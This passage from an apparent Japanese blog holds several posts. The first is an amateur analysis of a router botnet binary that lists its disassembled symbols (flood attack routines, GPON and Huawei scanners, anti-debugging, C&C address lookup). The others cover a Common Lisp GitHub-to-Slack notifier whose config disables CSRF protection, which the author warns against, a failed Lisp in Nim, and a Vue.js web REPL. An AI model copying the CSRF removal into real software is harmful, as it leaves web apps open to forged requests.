とか見えてきます。きっと、環境のshared objectに依存しないように、静的リンクされているのでしょうか。fopen
やprctl
があることから、ファイルシステムやプロセスに対する操作も行っていそうです。<anti_gdb_entry>
とかあるので、GDBでのデバッグを困難にするような仕掛けも施されている、のか?
$ cat arm7.gemini.das | egrep '<.+>:' 000080d4 <_init>: 000080f0 <__do_global_dtors_aux>: 00008134 <frame_dummy>: 00008194 <_start>: 000081d0 <attack_get_opt_str>: 0000822c <attack_get_opt_ip>: 00008298 <attack_get_opt_int>: 00008308 <attack_parse>: 000085a0 <attack_init>: 000089cc <attack_gre_eth>: 00009094 <attack_gre_ip>: 000096f4 <attack_tcp_xmas>: 00009dcc <attack_tcp_frag>: 0000a4a4 <attack_tcp_syn>: 0000ab7c <attack_tcp_stomp>: 0000b3a8 <attack_tcp_ack>: 0000bacc <attack_icmp_basic>: 0000bd8c <attack_udp_plain>: 0000c04c <attack_udp_frag>: 0000c618 <attack_udp_generic>: 0000cbe4 <attack_udp_vse>: 0000d050 <attack_udp_dns>: 0000d734 <checksum_generic>: 0000d784 <checksum_tcpudp>: 0000d828 <dlinkscanner_scanner_kill>: 0000d850 <gponscanner_scanner_kill>: 0000d878 <gponscanner_setup_connection>: 0000d94c <gponscanner_scanner_init>: 0000e40c <huaweiscanner_scanner_kill>: 0000e434 <killer_kill>: 0000e45c <mkiller_kill>: 0000e484 <killer_kill_by_port>: 0000ea00 <mini_killer>: 0000ea7c <killer_init>: 0000f638 <anti_gdb_entry>: 0000f650 <ensure_single_instance>: 0000f7b4 <resolve_cnc_addr>: 0000f820 <ioctl_keepalive>: 0000f970 <rand_exploit>: 0000f998 <main>: 00010120 <rand_next>: 0001017c <rand_init>: 000101e4 <rand_alpha_str>: 000102b4 <resolv_entries_free>: 000102dc <resolv_lookup>: 000107e4 <table_retrieve_val>: 00010808 <table_lock_val>: 000108a8 <table_unlock_val>: 00010948 <table_init>: 00011000 <util_strlen>: 00011028 <util_strcpy>: 00011070 <util_memcpy>: 00011094 <util_zero>: 000110b8 <util_atoi>: 000111f4 <util_fdgets>: 00011250 <util_local_addr>: 000112e4 <util_stristr>: 00011374 <util_itoa>: 00011470 <__aeabi_uidiv>: 0001156c <__aeabi_uidivmod>: 00011584 <__div0>: 00011598 <__GI___fcntl_nocancel>: 00011630 <__GI___libc_fcntl>: 00011724 <getppid>: 00011738 <__GI_ioctl>: 00011818 <__GI_kill>: 00011850 <prctl>: 00011894 <__GI_readlink>: 000118d4 <__syscall_select>: 00011918 <__libc_select>: 0001199c <__GI_setsid>: 000119dc <__GI_sigprocmask>: 00011a68 <__GI_time>: 00011a98 <__GI_closedir>: 00011ba8 <fd_to_DIR>: 00011c78 <__GI_opendir>: 00011d3c <fdopendir>: 00011dec <__GI_readdir>: 00011ed4 <__GI___errno_location>: 00011ef4 <clock>: 00011f30 <__GI_memmove>: 00011f40 <__GI_memset>: 00011fe0 <__GI_strcpy>: 00012004 <__GI_inet_addr>: 0001202c <__sys_accept>: 00012070 <__libc_accept>: 000120e4 <__GI_bind>: 00012128 <__sys_connect>: 0001216c <__libc_connect>: 000121e0 <__GI_getsockname>: 00012224 <getsockopt>: 0001226c <__GI_listen>: 000122ac <__sys_recv>: 000122f0 <__libc_recv>: 00012360 <__sys_recvfrom>: 000123a8 <__libc_recvfrom>: 00012430 <__sys_send>: 00012474 <__libc_send>: 000124e4 <__sys_sendto>: 00012530 <__libc_sendto>: 000125b8 <__GI_setsockopt>: 00012600 <__GI_socket>: 00012644 <__GI_sigaddset>: 00012694 <__GI_sigemptyset>: 000126a8 <__GI_signal>: 0001276c <__GI___sigismember>: 00012790 <__GI___sigaddset>: 000127b4 <__GI___sigdelset>: 000127d8 <__malloc_largebin_index>: 00012850 <malloc>: 00013188 <calloc>: 000132c8 <realloc>: 00013688 <__malloc_trim>: 00013738 <__malloc_consolidate>: 000138ec <free>: 00013b28 <malloc_trim>: 00013b68 <__GI_abort>: 00013c90 <rand>: 00013ca8 <__GI_random>: 00013d4c <setstate>: 00013e04 <initstate>: 00013ec4 <srd>: 00013f68 <__GI_random_r>: 00013ff8 <__GI_srandom_r>: 000140d0 <__GI_initstate_r>: 000141c8 <__GI_setstate_r>: 000142b4 <__GI_exit>: 00014378 <nprocessors_onln>: 000144c4 <__GI_sysconf>: 00014ae8 <__libc_fork>: 00014eb4 <__lll_lock_wait_private>: 00014f4c <__getpid>: 00014f94 <__GI_raise>: 00015084 <__GI_sleep>: 000151b4 <__GI___close_nocancel>: 000151d0 <__GI___libc_close>: 00015244 <__GI___open_nocancel>: 00015260 <__GI___libc_open>: 000152d4 <__GI___read_nocancel>: 000152f0 <__GI___libc_read>: 00015360 <__libc_disable_asynccancel>: 000153e8 <__libc_enable_asynccancel>: 000154c4 <__pthread_mutex_lock>: 000154cc <__pthread_mutex_init>: 000154d4 <_pthread_cleanup_push_defer>: 000154dc <_pthread_cleanup_pop_restore>: 00015508 <__GI___uClibc_fini>: 00015584 <__check_one_fd>: 000155d8 <__GI___uClibc_init>: 00015630 <__uClibc_main>: 00015a1c <__GI_mmap>: 00015a98 <__syscall_error>: 00015ac4 <__libc_sigaction>: 00015b4c <_setjmp>: 00015b58 <__default_sa_restorer>: 00015b64 <__default_rt_sa_restorer>: 00015b70 <__aeabi_read_tp>: ...以下省略
どうもこのプログラムはルータを対象にし、なにかをする(させる)プログラムのようです。
うーん。アセンブラが読めないのと、定数データがわからないので、これ以上はわからない! くやしい! 『熱血! アセンブラ入門』を読んで勉強しないと……。
今日はここまでにします。
Niko --- GitHub上のメンションをSlackでお知らせ
Niko
NikoというGitHub上のメンションをSlackで教えてくれるソフトウェアをつくりました。
もちろんCommon Lisp製です😎
NikoはGitHubのWebhookとして動作し、GitHub上のissueやプルリクエストの本文や、それらに対するコメントやレビューの中のメンション(@username
の文字列)を検出して、Slackで通知してくれます。GitHubとSlackそれぞれのユーザ名は、事前に管理画面より登録しておく必要があります。
Webアプリケーションとしてはかなり小さい(3画面+1APIパス)ものですが、ちょっとだけ特徴があって、それは、深町さんがつくっているフルスタックWebアプリケーションフレームワークUtopianを利用していることです。
使ってるという話を(深町さん以外では)耳にしないので、もしかしたら使っているプロジェクトの10番台くらいはいけているかも…?
Nikoの導入から起動まで
このソフトウェアは会社で絶賛稼動中で、個人的にはとっても重宝しています。ここでは、Nikoのデプロイ方法を記します。
Nikoをサーバにデプロイする場合、NikoとUtopianはQuicklispでは公開されていないので、Common Lispの処理系マネージャRoswellでインストールするか、GitHubからクローンしてくる必要があります。Roswellスクリプトを利用する作業もあるUtopianはRoswell経由で、そうではなく純粋に起動するのみのNikoはGitHubよりクローンして、手元に導入します。
まずは、Utopianの導入から。
$ ros install qlot # 依存ライブラリのバージョン固定 $ ros install lake # タスクランナー $ ros install clack # Webアプリケーション環境 $ ros install fukamachi/utopian
Nikoのほうは、GitHubからクローンして好きなディレクトリに置きます。
$ cd /path/to/dir $ git clone https://github.com/t-sin/niko $ cd niko
UtopianはPythonでいうところのvenv環境のように、qlotで切り離された環境を前提とします。まずはその環境を初期化して、依存ライブラリをインストールします。
$ qlot install
これで準備完了です。起動しましょう。
$ export GITHUB_TOKEN=xxxxxxxx $ export SLACK_TOKEN=yyyyyyyy $ export SLACK_CHANNEL=niko-channel $ qlot exec clackup app.lisp
起動すると、デフォルトではポート5000番で起動します。http://localhost:5000/
にアクセスして、こんな画面が表示されたら成功です。
Nikoの使い方
Nikoはユーザ情報管理用の管理画面とWebhook用のAPIからなります。管理画面はトップ画面(上の画像)以外に、
- ユーザ追加画面
/users/add
- ユーザ一覧画面
/users/lists
があります。読んで字の如くなんですが、GitHubユーザとSlackユーザのマッピングを追加する画面と、一覧を表示する画面です。ちなみに、削除画面はまだないんですが、まあすぐに追加できると思うので、あとで付けます。
あとは、NikoをGitHubの好きなリポジトリや組織のwebhookに設定するだけです。したがって、外部からアクセスできる必要があるので、ngrok等を利用して、起動したNikoを公開しましょう。
Webhookとして動作するAPIのパスは/api/github/webhook
です。
あまり真似してほしくない部分
Utopianを使ったソフトウェアであるところのNikoなんですが、セキュリティ上ちょっとよくないことをしているので、真似しないでほしいなーという部分があります。
UtopianはRuby on Railsのような、画面がパスに対応するようなアプリケーションの作成を意図してつくられています。Nikoはひとつのプログラムで管理画面としても、GitHubのWebhookとしても動くようにつくりました。そのため、Utopianが標準で行っているクロスサイトリクエストフォージェリ対策のセッション値チェックをNikoでは外しています。
# niko/app.lisp (builder (:static :path "/public/" :root (project-path #P"public/")) :accesslog (unless (productionp) :clack-errors) (when (config :error-log) `(:backtrace :output ,(config :error-log))) :session - :csrf *app*)
おそらくこういう場合は画面をUtopianアプリとして、webhookはningleアプリとして、同時に起動するようにするのがいいかと思います。
それと、はじめてデプロイするとき、herokuのpostgresを利用して運用しようとしたのですが、cl-postgresがherokuの自己証明書による接続を許可しない(CL+SSLの証明書検査無視オプションを公開してない、気がした)ことでDB接続ができませんでした。早く運用したかったのでその場ではとりあえず諦め、AWS EC2に置いてsqlite3でDBをつくる運用としました。
ちょっとカッコわるいのでこの2点は真似しないでください。
ところで、Utopianはまだ開発中ということもありあまりドキュメント化されていません。DBIやORMやテンプレートエンジンなど、複数のライブラリが組み合わさっているので、ソースコードを参照しながら動きを理解しました。
Utopianを覚えようとして挫折した方を見ているので、ソースコードを読みながら得たことを記事にしてみると、いいかもしれないですね。
木の実を埋めなかったので拾われないLisp
TL; DR
Lispをつくろうとして失敗しました。ちーん。
どんなものをつくろうとしたか
Common Lispのすごく小さなサブセットをつくろうとしました。それをつくることで、普段使って理解した気になっているCommon Lispのパッケージやリードテーブル、ひいては実行モデル等を理解するのが目的でした。
機能としてはなんとなく、以下のようなことを妄想していました:
- Lisp-2
- CLOSなし
- コンディションなし
- loopなし
- 文字列あり(Unicode文字列)
- リストあり
- 関数よびだしあり
- パッケージあり
- リードテーブルつきのreadあり
- したがって簡単なリーダマクロ
- レキシカル環境あり
- eval
- マクロ展開
実際にはどんな産物ができたか
これです。
機能的には
- Lisp-2
- 組込み関数あり
- ユーザ定義関数はなし
- リードテーブルなしのread
- 関数をちゃんと作れなかったので
- パッケージあり(切り替えられないけど)
- いちおう簡易printがある
- 環境の構造がちょっとおかしい?
- REPLがある
関数呼び出しが実装できない気がして気が遠くなってきたので、いったん一区切りつけることにしました。
敗因はなんだったのか
環境(グローバル/レキシカル)やパッケージ、そしてシンボルのスロットについての理解が誤っていたことが原因でした。データ構造の設計に誤りがあるのです。
nutslispではパッケージと環境はそれぞれ以下のように定義されています。
type LispPackage* = ref object of LispT name*: string nicknames*: seq[string] environment*: LispEnvironment LispEnvironment* = ref object of LispT parent*: LispEnvironment binding*: TableRef[LispObjectId, LispSymbol]
「パッケージがグローバル(トップレベル)環境である」「パッケージはシンボルのテーブルをもつ」という認識と、「環境はその親環境を持ちうる(レキシカル環境の一つ外の環境)」「シンボルのvalueスロットに値を持つ(これは環境においてもそうするものだ)」という認識で、この構造にしました。ちなみに、Nimの言語上の制約から、自前定義した型(クラス)をテーブル(Nimにおけるハッシュテーブル)のキーにすることができません。そういった事情もあり、パッケージが保持するシンボルテーブルも兼ねて、binding
がLispObject
のIDからシンボルへのテーブルになっています。
でも、これでは(レキシカル)環境のシンボルに束縛した値を得るときどうするのでしょう。シンボルのスロットには、パッケージのトップレベルの値が入っているはずです(たとえば(setf hoge "mojiretsu")
としたときの値)。シンボルをレキシカルな環境の値や関数保持用の構造として利用すると、トップレベルの値が上書きされて消えてしまいます。
さあさあ、てえへんだ。
おわりに
正しくはどうあるべきか、ひいては環境やパッケージやシンボルとは何であるのか、についてはまだ不明です。Hyperspec読書大会を引き続きひとり開催してなんとか理解を深めたいところです。
おそらくありがちなところで盛大に転んでしまったというところなんでしょう。目標の、リードテーブルや関数の実行モデルやあれやこれやの理解を深めること、はまだまだ先が長そうですね。
インタラクティブシなREPLをWebページ上に実装する
自分で言語を実装したとき、できればWebページ上でさっと試せるとカッコいいなと思いますよね。たとえばこんな感じで:
- http://golang-jp.org/
- https://islisp.js.org/
- https://jscl-project.github.io/
- https://www.haskell.org/
今回ぼくは自作の言語に対して、同じようなことを実験したので、その成果を記します。
どんなものを作ったか
どうやって実装したか
ここではテキストエリアのonChangeなどの更新をさっと取得・描画できるVue.jsを用いたリアクティブなスタイルで実装していきます。
REPLのデータモデル
まず、REPLに必要なものを考えてみましょう。REPLは三つの要素から出きていると考えました。それすなわち
- 読み込み行
- 出力行
- 過去の読み込み行
の三つです。
読み込み行は、プロンプトを表示し、ユーザの入力を促す行です。
出力行は、ユーザの入力を評価した結果を表示する行です。
過去の読み込み行は、プロンプトと、過去にユーザが入力した文字列から成ります。これは出力行と考えてもよいのですが、なんとなく分けています。
各行をJavaScriptのオブジェクトで表現し、配列で保持しましょう。すなわち、こうです:
[ { type: 'old-prompt', msg: '$ ', input: 'aaaaa'}, { type: 'output', msg: 'aaaaa'}, { type: 'old-prompt', msg: '$ ', input: 'bbbbb'}, { type: 'output', msg: 'bbbbb'}, { type: 'prompt', msg: '$ ' }, ]
REPLのView
そして、あとはそれを描画するViewの部分です。Vue.jsの描画対象を#app
とすると、その要素の中に、データモデルの各type
に対応する要素を書き、v-for
で配列全体を描画する、という流れになります。
<div id="app"> <!-- ここで、各行を描画--> <div v-for="line in lines"> <!-- 出力行 --> <div v-if="line.type == 'output'">{{ line.msg }}</div> <!-- 読み込み行 --> <!-- 入力中の内容はv-modelで逐次取得する --> <div v-if="line.type == 'prompt'"> <div>{{ line.msg }}</div> <input type="text" v-model="readline" v-on:keydown.enter="rep(line.id)"> </div> <!-- 過去の読み込み行 --> <div v-if="line.type == 'old-prompt'"> <div >{{ line.msg }}</div> <span>{{ line.input }}</span> </div> </div> </div>
REPLのcontroller
表示の制御は、REPLのinput
でエンターキーが押されたときに駆動するようにします。REPLなので。
すなわち、JavaScriptのコード全体としてはこんな感じになります。
<script> const app = new Vue({ el: '#app', data: { readline: "", lineCount: 0, lines: [], }, methods: { // 現在の読み込み行の内容でreadとevalをし、 // 過去の読み込み行に更新し、結果と次の読み込み行を追加する rep: function (id) { this.lines[id].input = this.readline.toString() this.lines[id].type = 'old-prompt' // これらはもちろん、あなたの言語のreadとevalですよ! let result = eval(read(this.lines[id].input)) this.print(result) this.prompt() }, // 読み込み行を追加する prompt: function () { let prompt = getCurrentPackageName() + '> ' this.readline = '' this.lines.push( { id: ++this.lineCount, type: 'prompt', msg: prompt }) }, // 出力行を追加する print: function (str) { this.lines.push( { id: ++this.lineCount, type: 'output', msg: str }) } }, created: function () { this.print('welcome to my cool REPL.') this.prompt() } } </script>
あとはCSSでカッコいい見た目や色を設定してあげるだけである。
おわりに
これにより、自作言語ができたときあなたはすぐにWeb REPLを追加することができるようになりました。
まさかLisp以外の記事が増えるとは…。